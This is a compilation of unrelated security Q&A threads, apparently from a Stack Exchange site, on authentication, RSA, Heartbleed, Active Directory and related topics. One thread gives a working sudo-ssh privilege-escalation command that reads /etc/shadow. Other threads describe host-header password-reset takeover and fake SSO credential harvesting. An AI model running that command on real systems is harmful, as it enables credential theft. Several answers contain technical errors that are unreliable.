Considering users tend to reuse passwords and a lot of site's passwords are breached, doesn't it make more sense to use the phone (something that you have)?

The UX is great.

To clarify, if the password is something you know and the phone is something you have, why not use only one of the two. Use only something you have (phone)?

What are the drawbacks. People all over the world guess and steal passwords all the time but only people near me can steal my phone.

Seems better right?

Password is something that a user would know, but not necessarily expose. The phone is something that you keep close to you, but it is regularly exposed, sometimes left unsupervised, periodically non-operational.

Knowledge can be hijacked\captured when you type it and send your credentials over the network.

Phone can be snapped from you in public transport or on the street, etc... It can drain it's battery deny you logon ability. Network coverage can vanish and leave you helpless.

Changing a password is usually a trivial task, what about the phone?
I go abroad and I might be using a diffrent phone there, not an everyday problem, but that just adds a little bit more complexity.

I can see how phone is a less reliable option with more external risks and dependency. I also assume your users would be people with different kinds of phones, carriers and habits, potentially introducing even more scenarios where the phone would hinder their ability to be authenticated by your service.


The best ways to persist the license client information in the database I develop a license server and a license client system (Java based applications).

The flow is the following:

The license is stored on the license server
The client application includes a license client component.
The license client connects to the license server via HTTPS to retrieve the license information.
The license is not passed to the license client – only the information if the license enabled.
If the license is enabled the license client returns to the client application the licensed status and it is possible to use the client application.
If the license is not enabled, the license client starts the evaluation period (for example 30 days).
During this period we recommend to our customers to purchase the license.
If the evaluation period is passed, the license client returns to the client application the unlicensed status and it is not possible to use the client applications.

I have dilemma how to persist the start evaluation time, since if a customer can compromise it and the evaluation period will start once again.
I store the license status in the database using AES-256 algorithm, so I do not think a customer will be able to decrypt the information.  Also, if a customer will remove the license status from the database it is not possible to use the client application, so I do not care about it.

Similar, I store the start evaluation time in the database using AES-256 algorithm, so I do not think a customer will be able to decrypt the information.  But I have a problem if a customer will remove the start evaluation time from the database. In this case I will start the evaluation period from the beginning.

I do want to store the information in the database (to be able in the future to scale up using database replication). Also, I do not want to store start evaluation time on the license server – since it is client issue. More detailed: in the future we want to support the license (and the evaluation time) for different type of permissions. For example, license to execute a job or license to edit a document.  Therefore, the customer can be fully licensed to execute a job, but can be in the evaluation period to edit a document.

Any suggestions are more than welcomed.

You need a timestamping service.  The license server should track information about the client that ensures that the same client can not request a license more than once.  You can use any number of factors for this such as hard drive serial numbers, windows activation codes, etc.

When an evaluation license is issued, you can timestamp the key and have the application check against a clock to see if the license is still valid.  (Use an asymmetric algorithm on the license server to sign a timestamp and the information that identifies the computer.)  Note that they may still alter their local system time, so the best bet is to use an external clock.  Your client then simply needs to know the public key of the license server so that it can verify the start time and computer ID for the license are valid prior to launching.

Do not rely on security through obscurity.  Things like putting the values in an unmarked DB column, using symmetric encryption like AES or other such measures where the information to generate a license is stored on the client can easily be broken by doing a simple trace of the program's behavior to see what it accesses.  As soon as someone comes to what looks like an AES key or a license being loaded in to memory, they will know what it is.  This kind of thing is child's play for an experienced reverse engineer and will take a matter of minutes in most cases.

Instead, make sure that it doesn't do them any good to tamper with the license and deny them the ability to generate a valid license.  Use asymmetric algorithms (public/private key) so that only the server knows how to generate a license and all the client knows how to do is validate it.  Make sure that a time check is made against the signed timestamp in the license and that the license also contains a hard to fake identifier of the client machine so that it can't be used for more than one client.  That way, copying or modifying the license is very difficult.

At that point, the most successful attacks against your system will either be reverse engineering the code to disable the license check (doing it multiple times throughout your application will make that harder) or figuring out a way to fake the client identifier checks to make multiple computers look the same (or make the computer look different so another trial license can be obtained.)


In RSA, can any of the two keys be used for both encryption and decryption? I know RSA has the concept of "public" and "private" key and one key is used for "encryption" and another for "decryption", but I am confused if both keys can be used for both purposes.. I mean, what you encrypt with any of them, you can decrypt of the other.

There are many incorrect wordings/usages here.
RSA is merely the one public-key cryptosystem that can support both encryption and signature naively in the almost same type of operation.
TextBook RSA
What confuses the people is the Textbook RSA which is simply c = m^e mod n for encryption and m= c^d mod n for decryption, whereas sign = hash(m)^d mod n for signature and verify(m,sign) that calculates hash(m) and checks that hash(m) == sign^e mod n.
Both are insecure as you can see that you can multiply the ciphertexts, or .. ( this is a very long story;  start from reading Twenty Years of Attacks on the RSA Cryptosystem for more attacks from Dan Boneh).
RSA encryption
RSA encryption requires padding to be secure. PKCS#5v1.5 and Optimal Asymmetric Encryption Padding (OAEP)  are the paddings that must be used. The former had lots of attacks due to incorrect implementations. The latter is much easier to implement. They are both proved to be secure so the only problem is the implementations.
RSA signatures
RSA signature requires padding to be secure, too. This time the padding is a Probabilistic Signature Scheme and designed for signatures.
RSA sign!=RSA decryption
Don't use/say that RSA decryption is a signature. It is not. The signatures algorithm consists of two algorithms; sign and verify. During the sign operation, PSS be part of it.
For a detailed reading see from Cornell University page; RSA Signing is Not RSA Decryption
Don't use one RSA key for more than one purpose
Don't use the same RSA public-private key for more than one purpose. Use either for enc/dec or sign/verify. If you need both, you two different public/private key pairs where the modulus is distinct.
Public key is not for encryption
Public key cryptosystems are slow compared to private key cryptosystems. Therefore we prefer a hybrid cryptosystem where the public key is used for key exchange and the private key is used for encryption. Examples are;

RSA-KEM for Key encapsulation Mechanism and AES-GCM for Data Encapsulation Mechanism
DHKE for key establishment and ChaCha20-Poly1305 for data encapsulation mechanism

Where RSA is used today?
In today's security, RSA is mostly used for the signature. Although RSA-KEM is promising for key encapsulation there is no standard for that, we use Elliptic Curve Diffie-Hellman most of the time.


How do you manage credentials to multiple remote systems? We are a vendor that provides software to the healthcare industry, and our application is locally hosted on customer infrastructure. As such, we are provided with VPN access in order to be able to provide support for the software. Given the risk that a member of staff could see HIPAA protected information, almost all of our customers insist that each user be given their own unique credentials and passwords. This can cause havoc trying to remember usernames and passwords for each site that an agent has to connect to.

Have any of you come across this problem before, and how do you manage this among your teams? Short of writing them all down and locking them in a safe except when they are needed, I'm not sure of the best way to manage this. I've been researching things such as LastPass, but it appears to want plugins to try and insert passwords.

Any thoughts much appreciated.

I use KeePass as it seems the most user-friendly.  I have co-workers who use Password Safe, the arguably more secure alternative from the Chuck Norris of cryptography, Bruce Schneier.  Both of these products have encrypted databases.

As far as actually managing those remote connections, collegues and myself have used RoyalTS.  While not a completely free product, it does offer up to 10 connections for free.  And does encryption on the whole connections file DB.  This application also does SSH connections, however I still prefer PuTTY for SSH and Telnet connections.


Is Apache serving over HTTP vulnerable to Heartbleed? I run a server whose only public open port is 80, serving non-encrypted data over HTTP, not HTTPS. Is it affected by Heartbleed?

Teun Vink is right, it's not vulnerable if you are certain that https is turned off, for example by turning mod_ssl off.

Even if you don't actively use https, it may still be enabled. Many servers have https enabled by default with some automatically generated certificate. This will not be valid and throw an error or warning in browsers, but it will still be exploitable.

If you can modify the apache configuration, disable mod_ssl with a2dismod ssl. On Windows I'm not sure this works; for example in a xampp installation you should edit the httpd.conf file in the xampp/apache/conf folder. Put a pound sign (#) in front of the line that says
LoadModule <something_with_ssl> so it becomes #LoadModule <something_with_ssl>

If disabling mod_ssl causes problems in other parts of the configuration, you can also simply make sure that the only Listen option is for port 80. You should search in all configuration files for those Listen options, for example with grep or on Windows you could use Notepad++' search in files feature.

In any case, it's advisable to update OpenSSL if possible. Other stuff may be using it, or someone may turn https on in the future without realizing that it's vulnerable.

TL;DR: Update OpenSSL if at all possible, even if you are not vulnerable. If not possible, make absolutely certain you're not using https.


How do I deploy AD in a hostile location? What are the security implications between Domains, Forests vs RODC's in Active Directory? Short version

  What are the risks/ benefits / drawbacks of RODC's vs Child Domains vs Forest Trusts in AD

Background

I'm working with a company that has various business agreements between many small companies (200 to 400), and varying needs of control, trust, and autonomy between all of these business entities.

The corporate office has one AD Forest that has accounts for 80% of the users in all the companies.  Exchange server is here and the company acts similar to a BPOS/Office 365 in regard to providing services to the firms.

They are now considering consolidating IT workload among the 200 silos, and are looking at the following options:

Multiple forests (Corporate, and one for each of the 200 companies) with forest trusts to Hosted Exchange
Subdomains / Trees in a forest for each company with a "resource domain" for Hosted Exchange
Use our current domain, and deploy a read Only Domain Controller (RODC) outside of Hosted Exchange
Use our current domain, and deploy a full domain controller to the remote site
Do "something" with Forefront Identity Manager (not sure about the features of FIM)

Most of the business agreements have a 5 year termination clause.  At that point they can terminate their relationship or they can renew.  Other business agreements are more strategic and we want to manage their local desktops as well.

Based on my historic knowledge of AD, it has been (or may still be) possible to gain Enterprise Admin permission rights by compromising a local child domain controller.

This leads me to ask the following:

  How do I deploy AD in a hostile location? Should I use an RODC or Forest Trust?
  Are there any security benefits of using a child domain / tree in the forest?
  What additional staff / management overhead is involved with a "Resource Forest"

Your best option is probably going to be a RODC if you want to be able to have full control over the domain(s).

A RODC is not any regular domain controller. By default all authentication requests are forwarded to a writable DC. RODC's will only store credentials if two conditions are met:

Credential caching is enabled (default is disabled)
A user has logged in from within the RODC's site

So enterprise admin accounts cannot be compromised unless an EA has logged into the RODC's site. I want to say that account credentials with administrative privileges will never be cached either, but I can't corroborate that. In theory you don't need to ever have an EA log into that site because you can set up RODC-specific administrative users. These users can have admin privileges, but cannot touch anything else on any of the other DC's.

See here: http://technet.microsoft.com/en-us/library/cc732801(WS.10).aspx


How secure is "Browser in the Box"? I'm wondering how secure is "browser in the box" from Sirrix?

They said in their official website:

  In contrast to simple sandboxing methods provided by standard browsers
  "Browser in the Box" isolates all activities of the browser completely
  from the host operating system. Merely a single shared folder within
  the host is made accessible for a separate user account. This folder
  stores all persistent configuration data like favorites of the
  browser. Equally all downloaded files are initially stored in this
  folder and are only forwarded into the normal user accessible download
  folder after a malware scan.

Actually this is good idea, since isolating the browser will provide much more security on the client side.

I want to hear your opinion.

From their product page, we can infer a lot about how their system works. Here are the key points:

  Can be used with Windows XP and Windows 7
  Comes with: VirtualBox 4.0.16, hardened Linux Debian 6 and SELinux and Firefox
  Browser execution takes place in separated virtual machine with own operating system
  Downloaded files are first scanned and then provided to user
  Configurable security polic for copy & paste, download, upload and printing
  Reset to certified initial snapshot upon each start of the browser
  Configuration data of the browser can be stored persistently and are retained for restart

So apparently it runs Firefox on Debian 6 Linux with SELinux inside a virtual machine running inside VirtualBox, on a host that must be Windows.

As for how secure that is, for the most part, it's the same as running a browser inside a Linux VM in VirtualBox with a snapshot you roll back every time you want to reset. Except that they are actually using a very outdated version of VirtualBox from 2012, which is probably a bad idea for lack of security updates. I get the feeling development on this product is abandoned.

While a virtual machine does add security, virtual machine breakouts do exist, and VirtualBox has be on the receiving end of such exploits before.


Are there any open source firewalls for a VPN server? I provide free VPN access to a lot of people and often times have troubles dealing with abuse reports from stupid stuff like network scanning.

I have been researching for hours now, but I am astonished that I can't find any open-source solution which is able to detect and block such traffic bi-directionally (mostly outbound though is what I care about).

Hopefully, there is something great out there that I just can't find for some reason.

Kind Regards,

Nick

Did you try pfsense ?

https://www.pfsense.org/

I implemented it into few companies infrastructure via small appliance.
(you can also DL the iso and install it on your own hardware)

Powerfull, flexible and opensource. I strongly recommend it.


Is it a good (or not harmful) idea to allow employees to use their company phones privately? As I try to come up with company regulations for IT security, the question arose if employees can use their company provided iPhones 8 for personal matters. Specifically they want to install spotify (and probably other apps like instagram, whatsapp and so on), so they don't have to own another smartphone. I know there are mobile device management tools that can block certain apps, but I am not sure if it is necessary to block such apps security wise.

What are the security concerns one has to think about when allowing employees to use their company iPhones privately and what restrictions does an employee have if they use only their company phone (e.g. can they log in with their own apple ID)?

The typical concerns are about 3rd party tracking, malware, and information disclosure.

Apps can gather and transmit an incredible amount of data about the user and the phone. All this data might expose the company and its users to 3rd party analysis. There was a recent case where a secret military base was discovered because personnel were using the same running app, which tracked their runs around the base using GPS.

Without any controls over what's installed, it is possible for apps to contain or be a gateway for malware. Restricting apps to approved, well-known apps helps to prevent this problem.

When using any device for mixed purposes (personal/business) it can be difficult for people to keep its use consistent, which can lead to inappropriate sharing of information. It can also lead to company data being saved in personal accounts (their Apple ID/iCloud storage), which you have no control over, even if the person leaves your company.

Is all this bad? That's not for us to tell. You need to perform a risk assessment to determine if the risks are acceptable and the cost/benefit of allowing this freedom.

"But people could use their personal phone to do all this, too!" Yes, that's right. Restricting phone use helps to prevent inadvertent issues (mistakes) or "drift" in the separation of personal/business, which can cause problems for the company. How much of a benefit this is to you is a matter for your risk assessment.

Personally, I prefer to enforce different devices for different purposes so that people can remember what they are using the device for. And maybe one shouldn't post that whiteboard with future plans on Instagram...

I would also promote the idea of permitting certain personal apps on company devices so that their use can be risk assessed. Like Spotify. The risk is likely low, but the benefit in employee experience will be high. And the Security Dept doesn't become the "Department of 'No'". The goal is always to say "yes", but to do so responsibly.


How can we factor Moore's law into password cracking estimates? How would we go about factoring Moore's law into exceedingly long password cracking estimates?

Let's say we've got a 12 character password containing mixed-case alpha characters and numbers, i.e. a-z, A-Z and 0-9. The keyspace for such a password is roughly 3.2x1021.

Now, let's say I can currently compute hashes at a rate of 3.0x109 (three billion) per second on a modern GPU. At that rate, using the same hardware, I could search the entire keyspace in 33,824 years.

However, if I can migrate across to newer hardware as it comes out, this figure is likely to be significantly less.

Assuming the following:

Transistor counts double every 2 years.
Hash computation speed is directly proportionate to transistor count.
Hash computation speed is not bound by other constrains (e.g. memory bandwidth)
There is no upper limit on transistor count.
We can transition to new hardware immediately.
We're looking for an absolute lower bound on the total cracking time.

How would we go about computing the length of time it would take to crack the hash? Is there a mathematical formula that expresses the geometric progression?

It will be significantly less.  I would just set up a recurrence relation for this like so:

A(n) = A(n-1) - C * 2 ^ (N-1) and A(0) = size of keyspace, say 62^12

lets set C = 3.0*10^12 for hashes computed the first year and assume computing power doubles every year.

Plugging this into wolfram alpha yields this function solution for the recurrence relation:

recurrence relation...

f(x) ~= 3.22627x10^21 - 3.0x10^12 * 2^x

Solve f(x) = 0 for x:

x = lg (3.22627x10^21 / 3.0x10^12) where lg is log base 2

x ~= 30.00226 years

Cracked in 30 years, but that's a lot of silicon, no wasted work, and you would need a method to seemlessly integrate new hardware into the running program without stopping it.

Explanation:

So we have the original key space size: 62^12 and a hypothetical machine capable of incorporating Moore's Law, somehow.

My original math was off a bit.  For some reason I did 3.0 x 10^9 * 1000 = 3.0 x 10^12 for calculations in a year, but it should be 3.0 x 10^9 * 3600 (seconds / hour) * 24 (hours / day) * 365 ( days / year).  Anyways, that's our initial speed, which according to Moore's law will double every year.  I'm going to keep the original mistake for consistency in explanation.

So in the first year, we perform 3.0x10^12 hashes of the 1.0x62^12 maximum hashes needed (assuming worst case scenario).  In the second year, Moore's law applies and now we do 6.0x10^12 hashes in the second year, which gives us cumulatively 9.0x10^12 hashes calculated so far.  The hashes we have left to do are found via subtraction from the whole number of hashes.  We'll run the program until there are no more hashes to find.

A(N) = A(N-1) - C * 2^(N-1)

A(N) is the number of hashes remaining after this year

A(N-1) was the number of hashes previously remaining before this year

C is the initial speed

N is the number of the year (first, second, third, etc).

So every year the speed doubles, which is the 2^(N-1) part of the equation.  C is the initial speed for the first year, so we have C * 2 ^ 0 = C * 1 = C.  In the second year, the speed has doubled once, so we have 2 * C.  In the third year, speed has the doubled from initial twice, so we have 2 * 2 * C = 2^2 * C = 2^(N-1) * C since N is 3.  This forms a recurrence relation for the number of hashes left to compute.

Using a combinatorics book, you can transform a recurrence relation into a generating function.  Or wolfram alpha can do it for you, if you're like me and remember generating functions can be found but have forgotten how to find them since that math class seven years ago.

Anyways, you get a function of x where x is still the year being iterated.  f(x) is how many hashes are left to compute.  We're done when there are 0 left.  So we solve f(x) for x when f(x) = 0.  The last part is algebra.

I might be off base here, but it makes sense to me :)


What is probability of a user picking a published password? Say I have a large list (10 million) of published accounts and associated passwords.

Assume this is a representative sample of population of account passwords.

From this sample I can generate a distribution of passwords ordered from most used to least.

There will likely be a password that is used more than any other and there will also be a large number of passwords used once (unique passwords).

Say number of unique passwords is 50%.

Can I therefore conclude that when a user invents a password that there is a 50% probability that they will pick a universally unique password?

If not, what can I conclude?

The answer will vary wildly depending upon the habits and security-awareness of the person in question.  However, we can come to some conclusions depending on the "type" of person.  At least, we can if we simplify people into one of two categories:

People who use computers to generate truly random passwords

aka people with "good" security awareness.  This is easy.  None of these people will have passwords in your list.  Even with just a random 8 digit alphanumeric string (which is not really a strong password anymore) there are ~2e14 possible password combinations, which means that the odds of finding one of those passwords on a list with 10 million passwords is just 1 in 5 million.  Better than winning the lottery, but still pretty bad.  Personally I use 16 character-long random passwords (which is probably quite common), so then we're looking at ~5e28 possible passwords and therefore tiny odds of selecting one on your list (presuming your list even has 16 character-long passwords on it).

People who pick their own easy-to-remember passwords

As is generally well known, people tend to reuse a lot of passwords, and a lot of common passwords are used by many people.  However, it can be very difficult to actually calculate the frequency with which particular passwords are used.  For instance, most studies of password dumps find that 123456 is the most common password.  This article pegs the frequency of that password at 0.6%, but as discussed in that article there are many caveats.  My own cursory reading of this plot suggests that the top 25 most common passwords might account for something like 10% of all passwords.  It's hard to extrapolate that to the top 10 million passwords though.

As my first link suggests though, there are likely many caveats.  For instance, if you ask someone to pick a password for their bank account they may try harder than 123456.  Indeed, there is some evidence that people are getting better at passwords in recent times, and many of these data sets are based off of leaks that are a few years old.  Those are just two of many potential gotchas that make it hard to estimate for sure what the odds are that some random user's password might be in your list.

Again though, it very much depends on the person.  If you are talking about the kind of person who picks 123456 for their password, then there is a 100% chance that their password will be in your list of 10 million passwords.  If you are talking about someone who generates long random passwords, then there is probably a 0% chance that their password is in your list.  If you're talking about someone in the middle, then who knows.


HTTP header injected in meta tag When I add the HTTP header X-Forwarded-Host: bing.com, a meta tag is injected into the site:

<meta property="og:url" content="https://bing.com/argentina"/>

Does this have any security impact? Should I report this as a vulnerability?

XSS payloads could not get executed because the meta tag sanitizes ", < and >. What  to do?

CVE-2017-8295 describes an issue in WordPress where the password reset mail is sent with the current host name as the sender. If an attacker requests the password reset mail with a forged host header, the password reset email is sent with the given domain as sender. If the email bounces, or the recipient replies, the reply is sent to the attacker. This reply contains the password reset token, thus making it possible to take over the account of the victim.


Call For papers format help I’m intending to submit a personal project for a “call for papers” for an upcoming Con. I have a really interesting topic that I wanted to submit for the talk. I was hoping to gain some feed back on what a good layout/format would be for the paper.

Any help is appreciated! Thanks!

The layout/format is usually determined by the con and specified in the CFP if not web based. As to the content of your CFP response i found this post to be very helpful when I started: https://www.defcon.org/html/links/dc-speakerscorner.html#nikita-cfp


What risk analysis methodologies should I use? I've heard of FAIR, and that seems pretty great.

What other methodologies are there? How do they work?
What are their benefits, and their drawbacks compared to others?
When is each appropriate?

From another Area51 proposal.

I suggest reading Krag Brotby's Information Security Management Metrics book for coverage of most of the relevant risk analysis frameworks that are usually tailored to a specific kind of risk (e.g. financial analysis for information security management programs or risk management programs could use ROSI, ALE/SLE, VAR, cost-effectiveness, etc).

I also suggest looking at FISAP and IIA GAIT


Ring 1 and Ring 2 Memory Protection Architecture I have heard that Ring 1 and Ring 2 memory protections are basically no-longer used within modern systems.

However, when I checked into things, all I found was that these rings are somehow associated with drivers and driver access.

Have these really been phased out completely, or are there elements of these two protection rings present within system OSes still in common use (say, OSX, Windows 7-10 and common Linux distros like Mint or Ubuntu)? If so, what sort of code would I be writing to require access to these part of the system? If they have indeed been phased out, or are in the process of being phased out, what is the reason for this change?

I assume the two rings act as some sort of intermediary layer, like middleware, between the Kernal (ring 0) and the application layer (ring 3)...

The four ring system was designed by Intel for anyone to use, and Microsoft chose a scheme to simplify development work and provide a faster OS at the cost of some security. As far as Microsoft is concerned, they haven't been phased out, so much as they were never used to begin with. Microsoft didn't ask Intel to make a two ring system; Intel provided a four ring general-purpose system, and Microsoft decided to use it in a way they saw fit.

Intel had provided a way for OS's to provide extra security to prevent malicious drivers from crashing the system, and Microsoft chose to go a different way (signed drivers), which is optional in 32-bit mode, and required in 64-bit mode. Microsoft requires validation that the drivers will not affect the system before they will sign a binary. You'll recall that Windows 95/98 were notorious for crashing. This is because drivers were usually buggy and the OS had no protection from those drivers, since they were all in Ring 0.

I believe there are some modern operating systems still in use today that use more than two ring levels, and as a matter of backwards compatibility, hardware manufacturers can't exclude those two "unused" rings. Just because Microsoft nor the main Linux kernel uses more than two levels doesn't mean that someone couldn't write an OS that does use the extra protection that Rings 1 and 2 provide. Hardware protection from malicious or just faulty software was absolutely necessary in an age where we could not verify program behavior beforehand, and processors were too slow to do all of the protection in software.

Microsoft also released a research project called Singularity, and operating system where all code runs in Ring 0, and all pages in memory do not use segment selectors. In other words, there are no hardware protection against malicious programs. This results in a significant boost in speed, as programs no longer have to pass through ring levels to call kernel code, but all code has to be statically verifiable, as it would be if written in .NET without using the "unsafe" keyword. The OS can statically verify that a program is not malicious before execution. The full source code is available for free.

Hardware protection is likely never going to phased out, because there are simply too many systems that depend on it. It would take a coordinated effort between hardware and software vendors, and it would probably cost billions or even trillions of dollars in the long run, without any significant reduction of cost in terms of operating power/speed/etc. The two rings, 0 and 3, will likely continue to be used in the foreseeable future as long as there are only three major competing OSes (Microsoft, Apple, Linux). It would take a significant market change to upset the status quo.


How should I securely type a password in front of a lot of people? I am a manager in an office where the company does not provide a company email, so I use my personal email.

Often, I will receive jobs lists by email from my general manager.

How should I log in to my email in front of my co-workers so that they don't see my password?

My email service uses end to end encryption, which means that it does not store or reset my password.

I also cannot move the screen so my co-workers cannot see it.

Use the blanket of security, as seen in the Snowden documentary Citizenfour.
It involves placing a blanket over your head, the keyboard and monitor and typing in the password.
It will look weird but for security's sake it may be worth it.

Related post with demo pic - In CitizenFour, what was Edward Snowden mitigating with a head blanket?


What is a Poison Dart attack? From The Forrester Wave™: DDoS Services Providers,
Q3 2015 report, (emphasis mine):

  Attack types defended

  CGI request, denial of capability,
  diluted low rate degrading, direct,
  DNS request attack via fast DNS,
  high-rate disruptive, hybrid attack,
  ICMP attack, isotropic attack trafc
  distribution, land attack, nonisotropic
  attack trafc distribution,
  ping of death, reector, TCP reset,
  TCP SYN ooding, teardrop attack,
  UDP ooding, varied rate, highly
  volumetric AppSec, poison dart,
  slow POST, and origin error attacks

This appears to be a partially meaningless list of information security buzzwords.

While some terms exist in an infosec context (e.g. TCP SYN Flooding), others are uncommon or ridiculously vague ("Hybrid Attack", "Varied Rate"). As it mixes arbitrary levels of precision and non-established expressions, the entire list seems inappropriate for a comprehensive overview of different attack types and I suggest to not further question the term poison dart, since it will likely not be understood in the security community.

If you are interested in generating security buzzwords yourself, have a look at a this blogpost. (The generator itself is unavailable at the time of writing.)


How much of a visible deterrent is IT security? While looking at this question, one of the comments made me think. In the comment, the user asserted that "one must invest a lock that cost $40, the insurance company just want to make sure that it gives enough deterrent so that thief will switch to next easier target".

In the scenario of a bicycle, the lock is an immediately visible deterrent. I could be oversimplifying, but I don't see that being completely comparable in the realm of IT security.

Granted, asking for a name and password will stop most people from just trying to get to other accounts. With how most attacks are automated, does showing you require upper/lower/number/special characters deter more people?

I'm thinking that hitting any sort of roadblock will stop some minor attackers coming in just to look around. However, if someone is more intent on getting into your system, at what point do all of our security practices start to deter the attackers? At a certain point, does having tons of security become more of a "challenge factor" to beat?

There are a number of different control types, to name a few there are Deterrent, Preventative, Detective, Corrective, and Compensating controls. The idea being that each type of control will specialize in providing a different type of security.

In the case of your padlock, that would fall under a deterrent control, since it is something intended to be noticeable and keep people away. Other examples would be a sign that warns people of a guard dog, visible security cameras, etc. Basically anything that can delay or deter an attack.

Preventative controls are in place to stop something from happening, so again the lock would fall into this category as well.

The best practice is to layer security across many different control types (and vendors) to mitigate the chances of an attack being successful. However, there is no such thing as risk elimination, just that you can reduce them down to acceptable risk as much as possible.

The main point is that the security should cause an attacker more trouble that the data inside is worth, ie. not worth the effort. Although im sure that there are probably people out there that would enjoy a challenge purely for the sake of it rather than the potential data that they could get to.

In the case of IT Security, placing warning signs on login to say that a user will be prosecuted would be classed as a deterrent.

If you saw two bikes, one with a big and heavy lock, and one with a small old-looking lock, and you wanted to steal a bike, which one would you choose?

Further Explanation

To explain this further we can break Deterrence controls into sub-categories:

Technical
Physical
Administrative

I'll explain each one individually below.

Techical

Technical controls that would deter a would be attacker are quite limited, in the case that the purpose of all deterrent controls is simply to try and stop someone from attempting to attack. For technical controls we can use warning signs on login pages, a proxy server that redirects to warn users a certain site is restricted, etc. It doesn't go any further than this though

Physical

Physical controls are anything that would make it look difficult to attack. Things like a high fence, visible cameras, floodlights, etc. would all be classed as physical deterrence controls. Signs that state that areas are off limits, would be another.

Administrative

Administrative controls contain policies, guidelines and standards. For example, a strict security policy that states severe consequences for violation would fall under this category. Training for awareness would also be an example here.

In summary, anything that makes a target look more difficult without actually implementing anything to stop them are classed as deterrence controls. There is usually some overlap, especially with preventative controls, because things like a locked door, or a high fence can fall under both categories.

If you want some further reading on the other types of access controls here is a short blog from a CISSP study guide that explains them quite well: http://cisspstudy.blogspot.com/2007/05/types-of-access-control.html


Possible to inject in the middle of a ROOT NOPASSWD command with a wild card? I'm testing for privilege escalations on a Ubuntu 18.04 host, and after running sudo -l , I've discovered a couple of root NOPASSWD commands for a standard user (w/unknown password). These commands contain wild cards.
Example: (root) NOPASSWD: /usr/bin/ssh * /path/to/bash/script.sh
I've already attempted to inject root commands, without any luck.
Failed Attempt: /usr/bin/ssh user@localhost "cat /etc/shadow" ; /path/to/bash/script.sh
Is it possible to get command injection in such a case, and get commands to run with sudo privileges?
Any advice is appreciated.

Well after beating my head against numerous commands, I finally found that I could escape the wild card and cat out /etc/shadow
...With a little help from this cheat sheet

https://gtfobins.github.io/
https://gtfobins.github.io/gtfobins/ssh/#sudo (more specifically)

$LFILE=/etc/shadow
Success: sudo /usr/bin/ssh user@localhost -F $LFILE /path/to/bash/script.sh
Hope this helps someone in the future. :) Cheers!


Bad Connections Blocked With a new Windows 10 computer, McAfee Livesafe is reporting nearly 20,000 bad connections blocked. I ran some tests from Gibson Research, including the UPnP Exposure Test and the All Port Scan. The results were 100% stealth.

This is within a home network using WiFi. There are several IoT devices present, for what it's worth.

I use an IQRouter with no custom configurations (no purposefully opened ports). The router can test susceptibility to outside connections, but only by manually testing one port at a time, so I have not run a thorough scan of the router alone.

How can I determine where these blocked connections originate from and what is the nature of those connection attempts? The AV software gives no obvious option to see these details, but I may be overlooking something.

As a general rule, every security application that performs monitoring or blocking will have a place for you to review any alerts. If it doesn't have that, then it's either useless or a complete fraud.

In your case, there is a detailed view.

Thie picture below was taken from McAfee Knowledge Center article TS102852. You can find the same article by searching "TS102852".

The button is blue in the picture below. This may be due to UI focus, so your button may be the same color as the "Got It" button.


Securely erase firmware secret key I have an SSD with the option (with ATA-commands) to erase the firmware for security reasons. In the firmware flash cells, the secret key is stored for encrypting the data on the fly. When I ask the vendor how it is deleted, they tell me it is erased. But I would like to know "how it is erased".
They tell me the cells are not zeroized. That would require extra configuration. "it is just erased".
My worries: The key can still be extracted due to the flash cells are not overwritten. Are all the electric fields depleted? What stops someone for extracting the key?
Am I totally wrong in this case?

I suggest reaching back out to the vendor for clarification. If they are adhering to the standard, than ATA secure erase will empty all its cells to zero. If your vendor is a reputable one, then you can be fairly confident this is a proper and secure process. For less reputable vendors, sometimes... liberties are taken.


Is SSO/OAuth inherently broken? The way I understand it, the whole concept of OAuth/SSO involves allowing a user the ability to have a central password they can use on a multitude of sites without compromising it because really they're signing into the service hosting their password.

Now, barring the use of two-factor authentication, as the average user does not use this feature, and using Google's SSO feature as an example, but realizing this applies to every similar service:

What stops me from writing an app that simply informs a user that we support sign in with Google and instead of redirecting them to the appropriate SSO page, I just provide a place for their Google username and password. I then emulate the user and authorize my app through the normal SSO process behind the scenes so nothing looks abnormal, and also store their Google username and password on my private server for malicious purpose later?

And if the answer is nothing would stop me, then why isn't 2 factor authentication mandatory on all these implementations?

Aside from the legal aspects alluded to by Neil McGuigan in the comments, it's also difficult to perfectly emulate, say, Google. For one thing, when I log in, Google shows my profile picture. Second, it asks me to perform my 2FA validation (I know, you're assuming most people don't use this, but for those who do, its absence is a red flag).

Reading your question closely, I just noticed this statement:

  I then emulate the user and authorize my app through the normal SSO process behind the scenes so nothing looks abnormal

What exactly do you mean by this? Assuming at this point you've captured the users credentials, how do you then turn around and use them to actually perform SSO? There's no way for your server to authenticate with those credentials in a way that sets the correct cookies in the user's browser, which is important for SSO to work.

Really, if you were going to execute this kind of attack, it would be better to fake the SSO as well, or omit it entirely, and just store the credentials for later retrieval.

But, none of this is specific to OAuth or SSO itself. It's just a phishing attempt, no matter how its initiated.


Is there an easy way to detect clients that ignore certificate validation errors (in production)? I see this happening allot: developers need to test stuff, have a self-signed certificate that causes an error, and they just switch verification off globally (like in this example). The hack gets forgotten and then the code goes into production like that...

It can be detected by providing a bad certificate and see if the client accepts it, but is there a standard feature so we can we configure web-servers in a way that they will deliberately do that the first time for every distinct client?

... but is there a standard feature so we can we configure web-servers in a way that they will deliberately do that the first time for every distinct client?

There is no such feature. Since the TLS handshake (which serves the certificate) is done before any kind of application data (like a application specific user-agent header) gets submitted and since there is  no kind of application-specific identifier in the TLS handshake too a server cannot figure out of this is a new type of client application or not and thus cannot behave differently.


Dual - control (two man access) to AWS root logins? I've been going around a few threads / questions here but none of them actually talked about concrete implementation of two-man authorization methods. I've read reasonable amount of ideas and "why"s but I am now looking for best ways to implement them.

To give you some context:
A and B works in the devOps / sytem admin team that manages the infrastructure for some company. They both decide that its a good idea to have two-man authentication where they both would have to perform some kind of authorization task in order to get / grant access.

I've read about several ways of doing this, for example:
1. Both admins have a part of the password which would work only when they key it in.
2. Token generation which would not reveal the actual secrets and would be destroyed after X hours of usage.

I want to implement this in case either one of us goes crazy and decides to wipe the systems. Any suggestions are appreciated. The use case would mostly be for AWS.

Thanks!

Although i have not heard of such a system, i may have an alternative solution for you.

Use 2FA, have the account password with PersonA, and the push notification going to PersonB to authorize the login.

Eg. You could use DUO 2FA, PersonA will input the password to the AWS bucket, and DUO will send a push notification to PersonB, if the login should proceed or not.

This is almost as both admins having part of the password, only that 1 part is a password, and the second is a push notification for further authentication.

I can say from almost an year of using this model in a non-critical environment, it has worked well. But would not have it as our ultimate solution.

Cheers


